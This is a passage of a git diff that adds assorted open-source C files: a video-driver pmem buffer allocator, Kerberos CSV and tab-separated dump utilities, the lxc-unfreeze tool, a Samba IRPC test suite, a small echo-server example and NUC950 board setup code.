+		guard_bytes = 31;
+		align_mask = 0xFFFFFFE0U;
+
+	} else {
+
+		guard_bytes = DDL_TILE_BUF_ALIGN_GUARD_BYTES;
+		align_mask = DDL_TILE_BUF_ALIGN_MASK;
+	}
+
+	buff_addr->virtual_base_addr =
+		kmalloc((sz + guard_bytes), GFP_KERNEL);
+
+	if (!buff_addr->virtual_base_addr) {
+		ERR("\n ERROR %s:%u kamlloc fails to allocate"
+			" sz + guard_bytes = %u\n", __func__, __LINE__,
+			(sz + guard_bytes));
+		return;
+	}
+
+	phy_addr = dma_map_single(NULL, buff_addr->virtual_base_addr,
+				  sz + guard_bytes, DMA_TO_DEVICE);
+
+	buff_addr->buffer_size = sz;
+	physical_addr = (u32) phy_addr;
+	buff_addr->align_physical_addr =
+	    (u32 *) ((physical_addr + guard_bytes) & align_mask);
+	align_offset =
+	    (u32) (buff_addr->align_physical_addr) - physical_addr;
+	buff_addr->align_virtual_addr =
+	    (u32 *) ((u32) (buff_addr->virtual_base_addr)
+		     + align_offset);
+}
+
+void ddl_pmem_free(struct ddl_buf_addr *buff_addr)
+{
+	kfree(buff_addr->virtual_base_addr);
+	buff_addr->buffer_size = 0;
+	buff_addr->virtual_base_addr = NULL;
+}
+
+#else
+
+void ddl_pmem_alloc(struct ddl_buf_addr *buff_addr, size_t sz, u32 align)
+{
+	u32 guard_bytes, align_mask;
+	s32 physical_addr;
+	u32 align_offset;
+
+	DBG_PMEM("\n%s() IN: Requested alloc size(%u)", __func__, (u32)sz);
+
+	/*HTC_START*/
+	DBG("\n%s() IN : phy_addr(%p) ker_addr(%p) size(%u)",
+		__func__, buff_addr->physical_base_addr,
+		buff_addr->virtual_base_addr, (u32)sz);
+	/*HTC_END*/
+
+	if (align == DDL_LINEAR_BUFFER_ALIGN_BYTES) {
+
+		guard_bytes = 31;
+		align_mask = 0xFFFFFFE0U;
+
+	} else {
+
+		guard_bytes = DDL_TILE_BUF_ALIGN_GUARD_BYTES;
+		align_mask = DDL_TILE_BUF_ALIGN_MASK;
+	}
+
+	physical_addr = pmem_kalloc((sz + guard_bytes),
+				      PMEM_MEMTYPE_EBI1 | PMEM_ALIGNMENT_4K);
+	buff_addr->physical_base_addr = (u32 *)physical_addr;
+
+	if (IS_ERR((void *)physical_addr)) {
+		pr_err("%s(): could not allocte in kernel pmem buffers\n",
+		       __func__);
+		goto bailout;
+	}
+
+	buff_addr->virtual_base_addr =
+	    (u32 *) ioremap((unsigned long)physical_addr,
+			    sz + guard_bytes);
+	if (!buff_addr->virtual_base_addr) {
+
+		pr_err("%s: could not ioremap in kernel pmem buffers\n",
+		       __func__);
+		pmem_kfree(physical_addr);
+		goto bailout;
+	}
+	memset(buff_addr->virtual_base_addr, 0 , sz + guard_bytes);
+	buff_addr->buffer_size = sz;
+
+	buff_addr->align_physical_addr =
+	    (u32 *) ((physical_addr + guard_bytes) & align_mask);
+
+	align_offset =
+	    (u32) (buff_addr->align_physical_addr) - physical_addr;
+
+	buff_addr->align_virtual_addr =
+	    (u32 *) ((u32) (buff_addr->virtual_base_addr)
+		     + align_offset);
+
+	DBG_PMEM("\n%s() OUT: phy_addr(%p) ker_addr(%p) size(%u)", __func__,
+		buff_addr->physical_base_addr, buff_addr->virtual_base_addr,
+		buff_addr->buffer_size);
+
+	return;
+bailout:
+	buff_addr->physical_base_addr = NULL;
+	buff_addr->virtual_base_addr = NULL;
+	buff_addr->buffer_size = 0;
+}
+
+void ddl_pmem_free(struct ddl_buf_addr *buff_addr)
+{
+	if (!buff_addr) {
+		ERR("\n %s() invalid arguments %p", __func__, buff_addr);
+		return;
+	}
+	DBG_PMEM("\n%s() IN: phy_addr(%p) ker_addr(%p) size(%u)", __func__,
+		buff_addr->physical_base_addr, buff_addr->virtual_base_addr,
+		buff_addr->buffer_size);
+
+	if (buff_addr->virtual_base_addr)
+		iounmap((void *)buff_addr->virtual_base_addr);
+
+	if ((buff_addr->physical_base_addr) &&
+		pmem_kfree((s32) buff_addr->physical_base_addr)) {
+		ERR("\n %s(): Error in Freeing ddl_pmem_free "
+		"Physical Address %p", __func__,
+		buff_addr->physical_base_addr);
+	}
+	DBG_PMEM("\n%s() OUT: phy_addr(%p) ker_addr(%p) size(%u)", __func__,
+		buff_addr->physical_base_addr, buff_addr->virtual_base_addr,
+		buff_addr->buffer_size);
+	buff_addr->buffer_size = 0;
+	buff_addr->physical_base_addr = NULL;
+	buff_addr->virtual_base_addr = NULL;
+}
+#endif
+
+void ddl_set_core_start_time(const char *func_name, u32 index)
+{
+	u32 act_time;
+	struct timeval ddl_tv;
+	struct time_data *time_data = &proc_time[index];
+	do_gettimeofday(&ddl_tv);
+	act_time = (ddl_tv.tv_sec * 1000) + (ddl_tv.tv_usec / 1000);
+	if (!time_data->ddl_t1) {
+		time_data->ddl_t1 = act_time;
+		DBG("\n%s(): Start Time (%u)", func_name, act_time);
+	} else {
+		DBG_TIME("\n%s(): Timer already started! St(%u) Act(%u)",
+			func_name, time_data->ddl_t1, act_time);
+	}
+}
+
+void ddl_calc_core_proc_time(const char *func_name, u32 index)
+{
+	struct time_data *time_data = &proc_time[index];
+	if (time_data->ddl_t1) {
+		int ddl_t2;
+		struct timeval ddl_tv;
+		do_gettimeofday(&ddl_tv);
+		ddl_t2 = (ddl_tv.tv_sec * 1000) + (ddl_tv.tv_usec / 1000);
+		time_data->ddl_ttotal += (ddl_t2 - time_data->ddl_t1);
+		time_data->ddl_count++;
+		DBG_TIME("\n%s(): cnt(%u) Diff(%u) Avg(%u)",
+			func_name, time_data->ddl_count,
+			ddl_t2 - time_data->ddl_t1,
+			time_data->ddl_ttotal/time_data->ddl_count);
+		time_data->ddl_t1 = 0;
+	}
+}
+
+void ddl_reset_core_time_variables(u32 index)
+{
+	proc_time[index].ddl_t1 = 0;
+	proc_time[index].ddl_ttotal = 0;
+	proc_time[index].ddl_count = 0;
+}
diff --git a/pool/shard001/C/0021939_tdumputil.c b/pool/shard001/C/0021939_tdumputil.c
new file mode 100644
index 0000000000000000000000000000000000000000..2c14d5670e08ce980a555eab49c4e507b9e8acae
--- /dev/null
+++ b/pool/shard001/C/0021939_tdumputil.c
@@ -0,0 +1,266 @@
+/* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */
+/* kdc/tdumputil.c - utilities for tab-separated, etc. files */
+/*
+ * Copyright (C) 2015 by the Massachusetts Institute of Technology.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * * Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ *
+ * * Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in
+ *   the documentation and/or other materials provided with the
+ *   distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+ * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+ * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+ * OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "k5-int.h"
+#include "k5-platform.h"        /* for vasprintf */
+#include <assert.h>
+#include <stdarg.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "tdumputil.h"
+
+/*
+ * Structure describing flavor of a tabular output format.
+ *
+ * fieldsep is the field separator
+ *
+ * recordsep is the record/line separator
+ *
+ * quotechar begins and ends a quoted field.  If an instance of quotechar
+ * occurs within a quoted field value, it is doubled.
+ *
+ * Values are only quoted if they contain fieldsep, recordsep, or quotechar.
+ */
+struct flavor {
+    int fieldsep;               /* field separator */
+    int recordsep;              /* record separator */
+    int quotechar;              /* quote character */
+};
+
+struct rechandle {
+    FILE *fh;
+    const char *rectype;
+    int do_sep;
+    struct flavor flavor;
+};
+
+static const struct flavor tabsep = {
+    '\t',                       /* fieldsep */
+    '\n',                       /* recordsep */
+    '\0'                        /* quotechar */
+};
+
+static const struct flavor csv = {
+    ',',                        /* fieldsep */
+    '\n',                       /* recordsep */
+    '"'                         /* quotechar */
+};
+
+/*
+ * Double any quote characters present in a quoted field.
+ */
+static char *
+qquote(struct flavor *fl, const char *s)
+{
+    const char *sp;
+    struct k5buf buf;
+
+    k5_buf_init_dynamic(&buf);
+    for (sp = s; *sp != '\0'; sp++) {
+        k5_buf_add_len(&buf, sp, 1);
+        if (*sp == fl->quotechar)
+            k5_buf_add_len(&buf, sp, 1);
+    }
+    return buf.data;
+}
+
+/*
+ * Write an optionally quoted field.
+ */
+static int
+writequoted(struct rechandle *h, const char *fmt, va_list ap)
+{
+    int doquote = 0, ret;
+    char *s = NULL, *qs = NULL;
+    struct flavor fl = h->flavor;
+
+    assert(fl.quotechar != '\0');
+    ret = vasprintf(&s, fmt, ap);
+    if (ret < 0)
+        return ret;
+    if (strchr(s, fl.fieldsep) != NULL)
+        doquote = 1;
+    if (strchr(s, fl.recordsep) != NULL)
+        doquote = 1;
+    if (strchr(s, fl.quotechar) != NULL)
+        doquote = 1;
+
+    if (doquote) {
+        qs = qquote(&fl, s);
+        if (qs == NULL) {
+            ret = -1;
+            goto cleanup;
+        }
+        ret = fprintf(h->fh, "%c%s%c", fl.quotechar, qs, fl.quotechar);
+    } else {
+        ret = fprintf(h->fh, "%s", s);
+    }
+cleanup:
+    free(s);
+    free(qs);
+    return ret;
+}
+
+/*
+ * Return a rechandle with the requested file handle and rectype.
+ *
+ * rectype must be a valid pointer for the entire lifetime of the rechandle (or
+ * null)
+ */
+static struct rechandle *
+rechandle_common(FILE *fh, const char *rectype)
+{
+    struct rechandle *h = calloc(1, sizeof(*h));
+
+    if (h == NULL)
+        return NULL;
+    h->fh = fh;
+    h->rectype = rectype;
+    h->do_sep = 0;
+    return h;
+}
+
+/*
+ * Return a rechandle for tab-separated output.
+ */
+struct rechandle *
+rechandle_tabsep(FILE *fh, const char *rectype)
+{
+    struct rechandle *h = rechandle_common(fh, rectype);
+
+    if (h == NULL)
+        return NULL;
+    h->flavor = tabsep;
+    return h;
+}
+
+/*
+ * Return a rechandle for CSV output.
+ */
+struct rechandle *
+rechandle_csv(FILE *fh, const char *rectype)
+{
+    struct rechandle *h = rechandle_common(fh, rectype);
+
+    if (h == NULL)
+        return NULL;
+    h->flavor = csv;
+    return h;
+}
+
+/*
+ * Free a rechandle.
+ */
+void
+rechandle_free(struct rechandle *h)
+{
+    free(h);
+}
+
+/*
+ * Start a record.  This includes writing a record type prefix (rectype) if
+ * specified.
+ */
+int
+startrec(struct rechandle *h)
+{
+    if (h->rectype == NULL) {
+        h->do_sep = 0;
+        return 0;
+    }
+    h->do_sep = 1;
+    return fputs(h->rectype, h->fh);
+}
+
+/*
+ * Write a single field of a record.  This includes writing a separator
+ * character, if appropriate.
+ */
+int
+writefield(struct rechandle *h, const char *fmt, ...)
+{
+    int ret = 0;
+    va_list ap;
+    struct flavor fl = h->flavor;
+
+    if (h->do_sep) {
+        ret = fputc(fl.fieldsep, h->fh);
+        if (ret < 0)
+            return ret;
+    }
+    h->do_sep = 1;
+    va_start(ap, fmt);
+    if (fl.quotechar == '\0')
+        ret = vfprintf(h->fh, fmt, ap);
+    else
+        ret = writequoted(h, fmt, ap);
+    va_end(ap);
+    return ret;
+}
+
+/*
+ * Finish a record (line).
+ */
+int
+endrec(struct rechandle *h)
+{
+    int ret = 0;
+    struct flavor fl = h->flavor;
+
+    ret = fputc(fl.recordsep, h->fh);
+    h->do_sep = 0;
+    return ret;
+}
+
+/*
+ * Write a header line if h->rectype is null.  (If rectype is set, it will be
+ * prefixed to output lines, most likely in a mixed record type output file, so
+ * it doesn't make sense to output a header line in that case.)
+ */
+int
+writeheader(struct rechandle *h, char * const *a)
+{
+    int ret = 0;
+    char * const *p;
+
+    if (h->rectype != NULL)
+        return 0;
+    for (p = a; *p != NULL; p++) {
+        ret = writefield(h, "%s", *p);
+        if (ret < 0)
+            return ret;
+    }
+    ret = endrec(h);
+    return ret;
+}
diff --git a/pool/shard001/C/0021952_lxc_unfreeze.c b/pool/shard001/C/0021952_lxc_unfreeze.c
new file mode 100644
index 0000000000000000000000000000000000000000..394fe0ee060f33f1d7cc0aae434199945a0ed441
--- /dev/null
+++ b/pool/shard001/C/0021952_lxc_unfreeze.c
@@ -0,0 +1,114 @@
+/*
+ * lxc: linux Container library
+ *
+ * (C) Copyright IBM Corp. 2007, 2008
+ *
+ * Authors:
+ * Daniel Lezcano <daniel.lezcano at free.fr>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#include <stdio.h>
+#include <unistd.h>
+#include <libgen.h>
+#include <sys/types.h>
+
+#include <lxc/lxccontainer.h>
+
+#include "lxc.h"
+#include "log.h"
+#include "arguments.h"
+
+lxc_log_define(lxc_unfreeze_ui, lxc);
+
+static const struct option my_longopts[] = {
+	LXC_COMMON_OPTIONS
+};
+
+static struct lxc_arguments my_args = {
+	.progname = "lxc-unfreeze",
+	.help     = "\
+--name=NAME\n\
+\n\
+lxc-unfreeze unfreezes a container with the identifier NAME\n\
+\n\
+Options :\n\
+  -n, --name=NAME   NAME of the container\n\
+  --rcfile=FILE     Load configuration file FILE\n",
+	.options  = my_longopts,
+	.parser   = NULL,
+	.checker  = NULL,
+};
+
+int main(int argc, char *argv[])
+{
+	struct lxc_container *c;
+	struct lxc_log log;
+
+	if (lxc_arguments_parse(&my_args, argc, argv))
+		exit(EXIT_FAILURE);
+
+	if (!my_args.log_file)
+		my_args.log_file = "none";
+
+	log.name = my_args.name;
+	log.file = my_args.log_file;
+	log.level = my_args.log_priority;
+	log.prefix = my_args.progname;
+	log.quiet = my_args.quiet;
+	log.lxcpath = my_args.lxcpath[0];
+
+
+	if (lxc_log_init(&log))
+		exit(EXIT_FAILURE);
+	lxc_log_options_no_override();
+
+	c = lxc_container_new(my_args.name, my_args.lxcpath[0]);
+	if (!c) {
+		ERROR("No such container: %s:%s", my_args.lxcpath[0], my_args.name);
+		exit(EXIT_FAILURE);
+	}
+
+	if (!c->may_control(c)) {
+		ERROR("Insufficent privileges to control %s:%s", my_args.lxcpath[0], my_args.name);
+		lxc_container_put(c);
+		exit(EXIT_FAILURE);
+	}
+
+	if (my_args.rcfile) {
+		c->clear_config(c);
+		if (!c->load_config(c, my_args.rcfile)) {
+			ERROR("Failed to load rcfile");
+			lxc_container_put(c);
+			exit(EXIT_FAILURE);
+		}
+		c->configfile = strdup(my_args.rcfile);
+		if (!c->configfile) {
+			ERROR("Out of memory setting new config filename");
+			lxc_container_put(c);
+			exit(EXIT_FAILURE);
+		}
+	}
+
+	if (!c->unfreeze(c)) {
+		ERROR("Failed to unfreeze %s:%s", my_args.lxcpath[0], my_args.name);
+		lxc_container_put(c);
+		exit(EXIT_FAILURE);
+	}
+
+	lxc_container_put(c);
+
+	exit(EXIT_SUCCESS);
+}
diff --git a/pool/shard001/C/0021961_irpc.c b/pool/shard001/C/0021961_irpc.c
new file mode 100644
index 0000000000000000000000000000000000000000..3eb23e0f7d53c90681b4791736391fc3cceb466f
--- /dev/null
+++ b/pool/shard001/C/0021961_irpc.c
@@ -0,0 +1,271 @@
+/* 
+   Unix SMB/CIFS implementation.
+
+   local test for irpc code
+
+   Copyright (C) Andrew Tridgell 2004
+   
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 3 of the License, or
+   (at your option) any later version.
+   
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+   
+   You should have received a copy of the GNU General Public License
+   along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include "includes.h"
+#include "lib/events/events.h"
+#include "lib/messaging/irpc.h"
+#include "librpc/gen_ndr/ndr_echo.h"
+#include "torture/torture.h"
+#include "cluster/cluster.h"
+#include "param/param.h"
+
+const uint32_t MSG_ID1 = 1, MSG_ID2 = 2;
+
+static bool test_debug;
+
+struct irpc_test_data
+{
+	struct messaging_context *msg_ctx1, *msg_ctx2;
+	struct tevent_context *ev;
+};
+
+/*
+  serve up AddOne over the irpc system
+*/
+static NTSTATUS irpc_AddOne(struct irpc_message *irpc, struct echo_AddOne *r)
+{
+	*r->out.out_data = r->in.in_data + 1;
+	if (test_debug) {
+		printf("irpc_AddOne: in=%u in+1=%u out=%u\n", 
+			r->in.in_data, r->in.in_data+1, *r->out.out_data);
+	}
+	return NT_STATUS_OK;
+}
+
+/*
+  a deferred reply to echodata
+*/
+static void deferred_echodata(struct tevent_context *ev, struct tevent_timer *te, 
+			      struct timeval t, void *private_data)
+{
+	struct irpc_message *irpc = talloc_get_type(private_data, struct irpc_message);
+	struct echo_EchoData *r = irpc->data;
+	r->out.out_data = talloc_memdup(r, r->in.in_data, r->in.len);
+	if (r->out.out_data == NULL) {
+		irpc_send_reply(irpc, NT_STATUS_NO_MEMORY);
+	}
+	printf("sending deferred reply\n");
+	irpc_send_reply(irpc, NT_STATUS_OK);
+}
+
+
+/*
+  serve up EchoData over the irpc system
+*/
+static NTSTATUS irpc_EchoData(struct irpc_message *irpc, struct echo_EchoData *r)
+{
+	irpc->defer_reply = true;
+	event_add_timed(irpc->ev, irpc, timeval_zero(), deferred_echodata, irpc);
+	return NT_STATUS_OK;
+}
+
+
+/*
+  test a addone call over the internal messaging system
+*/
+static bool test_addone(struct torture_context *test, const void *_data,
+			const void *_value)
+{
+	struct echo_AddOne r;
+	NTSTATUS status;
+	const struct irpc_test_data *data = (const struct irpc_test_data *)_data;
+	uint32_t value = *(const uint32_t *)_value;
+
+	/* make the call */
+	r.in.in_data = value;
+
+	test_debug = true;
+	status = IRPC_CALL(data->msg_ctx1, cluster_id(0, MSG_ID2), 
+			   rpcecho, ECHO_ADDONE, &r, test);
+	test_debug = false;
+	torture_assert_ntstatus_ok(test, status, "AddOne failed");
+
+	/* check the answer */
+	torture_assert(test, *r.out.out_data == r.in.in_data + 1, 
+				   "AddOne wrong answer");
+
+	torture_comment(test, "%u + 1 = %u\n", r.in.in_data, *r.out.out_data);
+	return true;
+}
+
+/*
+  test a echodata call over the internal messaging system
+*/
+static bool test_echodata(struct torture_context *tctx,
+						  const void *tcase_data,
+						  const void *test_data)
+{
+	struct echo_EchoData r;
+	NTSTATUS status;
+	const struct irpc_test_data *data = (const struct irpc_test_data *)tcase_data;
+	TALLOC_CTX *mem_ctx = tctx;
+
+	/* make the call */
+	r.in.in_data = (unsigned char *)talloc_strdup(mem_ctx, "0123456789");
+	r.in.len = strlen((char *)r.in.in_data);
+
+	status = IRPC_CALL(data->msg_ctx1, cluster_id(0, MSG_ID2), 
+			   rpcecho, ECHO_ECHODATA, &r, 
+			   mem_ctx);
+	torture_assert_ntstatus_ok(tctx, status, "EchoData failed");
+
+	/* check the answer */
+	if (memcmp(r.out.out_data, r.in.in_data, r.in.len) != 0) {
+		NDR_PRINT_OUT_DEBUG(echo_EchoData, &r);
+		torture_fail(tctx, "EchoData wrong answer");
+	}
+
+	torture_comment(tctx, "Echo '%*.*s' -> '%*.*s'\n", 
+	       r.in.len, r.in.len,
+	       r.in.in_data,
+	       r.in.len, r.in.len,
+	       r.out.out_data);
+	return true;
+}
+
+
+static void irpc_callback(struct irpc_request *irpc)
+{
+	struct echo_AddOne *r = (struct echo_AddOne *)irpc->r;
+	int *pong_count = (int *)irpc->async.private_data;
+	NTSTATUS status = irpc_call_recv(irpc);
+	if (!NT_STATUS_IS_OK(status)) {
+		printf("irpc call failed - %s\n", nt_errstr(status));
+	}
+	if (*r->out.out_data != r->in.in_data + 1) {
+		printf("AddOne wrong answer - %u + 1 = %u should be %u\n", 
+		       r->in.in_data, *r->out.out_data, r->in.in_data+1);
+	}
+	(*pong_count)++;
+}
+
+/*
+  test echo speed
+*/
+static bool test_speed(struct torture_context *tctx,
+					   const void *tcase_data,
+					   const void *test_data)
+{
+	int ping_count = 0;
+	int pong_count = 0;
+	const struct irpc_test_data *data = (const struct irpc_test_data *)tcase_data;
+	struct timeval tv;
+	struct echo_AddOne r;
+	TALLOC_CTX *mem_ctx = tctx;
+	int timelimit = torture_setting_int(tctx, "timelimit", 10);
+
+	tv = timeval_current();
+
+	r.in.in_data = 0;
+
+	torture_comment(tctx, "Sending echo for %d seconds\n", timelimit);
+	while (timeval_elapsed(&tv) < timelimit) {
+		struct irpc_request *irpc;
+
+		irpc = IRPC_CALL_SEND(data->msg_ctx1, cluster_id(0, MSG_ID2), 
+				      rpcecho, ECHO_ADDONE, 
+				      &r, mem_ctx);
+		torture_assert(tctx, irpc != NULL, "AddOne send failed");
+
+		irpc->async.fn = irpc_callback;
+		irpc->async.private_data = &pong_count;
+
+		ping_count++;
+
+		while (ping_count > pong_count + 20) {
+			event_loop_once(data->ev);
+		}
+	}
+
+	torture_comment(tctx, "waiting for %d remaining replies (done %d)\n", 
+	       ping_count - pong_count, pong_count);
+	while (timeval_elapsed(&tv) < 30 && pong_count < ping_count) {
+		event_loop_once(data->ev);
+	}
+
+	torture_assert_int_equal(tctx, ping_count, pong_count, "ping test failed");
+
+	torture_comment(tctx, "echo rate of %.0f messages/sec\n", 
+	       (ping_count+pong_count)/timeval_elapsed(&tv));
+	return true;
+}
+
+
+static bool irpc_setup(struct torture_context *tctx, void **_data)
+{
+	struct irpc_test_data *data;
+
+	*_data = data = talloc(tctx, struct irpc_test_data);
+
+	lp_set_cmdline(tctx->lp_ctx, "pid directory", "piddir.tmp");
+
+	data->ev = tctx->ev;
+	torture_assert(tctx, data->msg_ctx1 = 
+		       messaging_init(tctx, 
+				      lp_messaging_path(tctx, tctx->lp_ctx), 
+				      cluster_id(0, MSG_ID1),
+				      lp_iconv_convenience(tctx->lp_ctx),
+				      data->ev),
+		       "Failed to init first messaging context");
+
+	torture_assert(tctx, data->msg_ctx2 = 
+		       messaging_init(tctx, 
+				      lp_messaging_path(tctx, tctx->lp_ctx),
+				      cluster_id(0, MSG_ID2), 
+				      lp_iconv_convenience(tctx->lp_ctx),
+				      data->ev),
+		       "Failed to init second messaging context");
+
+	/* register the server side function */
+	IRPC_REGISTER(data->msg_ctx1, rpcecho, ECHO_ADDONE, irpc_AddOne, NULL);
+	IRPC_REGISTER(data->msg_ctx2, rpcecho, ECHO_ADDONE, irpc_AddOne, NULL);
+
+	IRPC_REGISTER(data->msg_ctx1, rpcecho, ECHO_ECHODATA, irpc_EchoData, NULL);
+	IRPC_REGISTER(data->msg_ctx2, rpcecho, ECHO_ECHODATA, irpc_EchoData, NULL);
+
+	return true;
+}
+
+struct torture_suite *torture_local_irpc(TALLOC_CTX *mem_ctx)
+{
+	struct torture_suite *suite = torture_suite_create(mem_ctx, "IRPC");
+	struct torture_tcase *tcase = torture_suite_add_tcase(suite, "irpc");
+	int i;
+	uint32_t *values = talloc_array(tcase, uint32_t, 5);
+
+	values[0] = 0;
+	values[1] = 0x7FFFFFFE;
+	values[2] = 0xFFFFFFFE;
+	values[3] = 0xFFFFFFFF;
+	values[4] = random() & 0xFFFFFFFF;
+
+	tcase->setup = irpc_setup;
+
+	for (i = 0; i < 5; i++) {
+		torture_tcase_add_test_const(tcase, "addone", test_addone,
+				(void *)&values[i]);
+	}
+
+	torture_tcase_add_test_const(tcase, "echodata", test_echodata, NULL);
+	torture_tcase_add_test_const(tcase, "speed", test_speed, NULL);
+
+	return suite;
+}
diff --git a/pool/shard001/C/0021962_aio.c b/pool/shard001/C/0021962_aio.c
new file mode 100644
index 0000000000000000000000000000000000000000..513a813e439eed659ed7481c0223d6c82f7174c8
--- /dev/null
+++ b/pool/shard001/C/0021962_aio.c
@@ -0,0 +1,146 @@
+/*
+ * ================================
+ * eli960@163.com
+ * http://www.mailhonor.com/
+ * 2015-11-24
+ * ================================
+ */
+
+#include "libzc.h"
+#include <time.h>
+
+static int after_write(zaio_t * aio);
+static int service_error(zaio_t * aio)
+{
+    printf("service_error\n");
+    int fd;
+
+    fd = zaio_get_fd(aio);
+
+    zinfo("%d: error or idle too long", fd);
+    zaio_fini(aio);
+    zaio_free(aio);
+    close(fd);
+
+    return -1;
+}
+
+static int after_read(zaio_t * aio)
+{
+    printf("after_read\n");
+    int ret, fd, len;
+    char rbuf[102400];
+    char *p;
+
+    ret = zaio_get_ret(aio);
+    fd = zaio_get_fd(aio);
+    if (ret < 1) {
+        return service_error(aio);
+    }
+    zaio_fetch_rbuf(aio, rbuf, ret);
+
+    if (ret > 3 && !strncmp(rbuf, "exit", 4)) {
+        zaio_fini(aio);
+        zaio_free(aio);
+        close(fd);
+        return 0;
+    }
+
+    rbuf[ret] = 0;
+    p = strchr(rbuf, '\r');
+    if (p) {
+        *p = 0;
+    }
+    p = strchr(rbuf, '\n');
+    if (p) {
+        *p = 0;
+    }
+    len = strlen(rbuf);
+
+    zaio_write_cache_append(aio, "your input:   ", 12);
+    zaio_write_cache_append(aio, rbuf, len);
+    zaio_write_cache_append(aio, "\n", 1);
+    zaio_write_cache_flush(aio, after_write, 1000);
+
+    return 0;
+}
+
+static int after_write(zaio_t * aio)
+{
+    int ret;
+    printf("before_write\n");
+
+    ret = zaio_get_ret(aio);
+
+    if (ret < 1) {
+        return service_error(aio);
+    }
+
+    zaio_read_delimiter(aio, '\n', 1024, after_read, 10 * 1000);
+
+    return 0;
+}
+
+static void welcome(zaio_t * aio)
+{
+    time_t t = time(0);
+
+    zaio_printf_1024(aio, "welcome aio: %s\n", ctime(&t));
+    zaio_write_cache_flush(aio, after_write, 1000);
+}
+
+static int before_accept(zev_t * ev)
+{
+    printf("before_accept\n");
+    int sock;
+    int fd;
+    zaio_t *aio;
+
+    sock = zev_get_fd(ev);
+    fd = zinet_accept(sock);
+    if (fd < -1) {
+        printf("accept fail\n");
+        return 0;
+    }
+    znonblocking(fd, 1);
+    aio = zaio_create();
+    zaio_init(aio, zvar_evbase, fd);
+
+    welcome(aio);
+
+    return 0;
+}
+
+static int timer_cb(zevtimer_t * zt)
+{
+    zinfo("now exit!");
+    exit(1);
+
+    return 0;
+}
+
+int main(int argc, char **argv)
+{
+    int port;
+    int sock;
+    zev_t *ev;
+    zevtimer_t tm;
+
+    port = 8899;
+    zvar_evbase = zevbase_create();
+
+    sock = zinet_listen(0, port, 5);
+    znonblocking(sock, 1);
+    ev = zev_create();
+    zev_init(ev, zvar_evbase, sock);
+    zev_read(ev, before_accept);
+
+    zevtimer_init(&tm, zvar_evbase);
+    zevtimer_start(&tm, timer_cb, 200 * 1000);
+
+    while (1) {
+        zevbase_dispatch(zvar_evbase, 0);
+    }
+
+    return 0;
+}
diff --git a/pool/shard001/C/0021965_nuc950.c b/pool/shard001/C/0021965_nuc950.c
new file mode 100644
index 0000000000000000000000000000000000000000..3be114249cd81dfbbedfde225f275ed1eae6048b
--- /dev/null
+++ b/pool/shard001/C/0021965_nuc950.c
@@ -0,0 +1,52 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * linux/arch/arm/mach-w90x900/nuc950.c
+ *
+ * Based on linux/arch/arm/plat-s3c24xx/s3c244x.c by Ben Dooks
+ *
+ * Copyright (c) 2008 Nuvoton technology corporation.
+ *
+ * Wan ZongShun <mcuos.com@gmail.com>
+ *
+ * NUC950 cpu support
+ */
+
+#include <linux/platform_device.h>
+#include <asm/mach/map.h>
+#include <mach/hardware.h>
+
+#include "cpu.h"
+
+/* define specific CPU platform device */
+
+static struct platform_device *nuc950_dev[] __initdata = {
+	&nuc900_device_kpi,
+	&nuc900_device_fmi,
+	&nuc900_device_lcd,
+};
+
+/* define specific CPU platform io map */
+
+static struct map_desc nuc950evb_iodesc[] __initdata = {
+};
+
+/*Init NUC950 evb io*/
+
+void __init nuc950_map_io(void)
+{
+	nuc900_map_io(nuc950evb_iodesc, ARRAY_SIZE(nuc950evb_iodesc));
+}
+
+/*Init NUC950 clock*/
+
+void __init nuc950_init_clocks(void)
+{
+	nuc900_init_clocks();
+}
+
+/*Init NUC950 board info*/
+
+void __init nuc950_board_init(void)
+{
+	nuc900_board_init(nuc950_dev, ARRAY_SIZE(nuc950_dev));
+}
diff --git a/pool/shard001/C/0021968_main_dispatcher.c b/pool/shard001/C/0021968_main_dispatcher.c
new file mode 100644
index 0000000000000000000000000000000000000000..1126ec060c887b294e8fb8b804d8fa4bdf6a9771
--- /dev/null
+++ b/pool/shard001/C/0021968_main_dispatcher.c
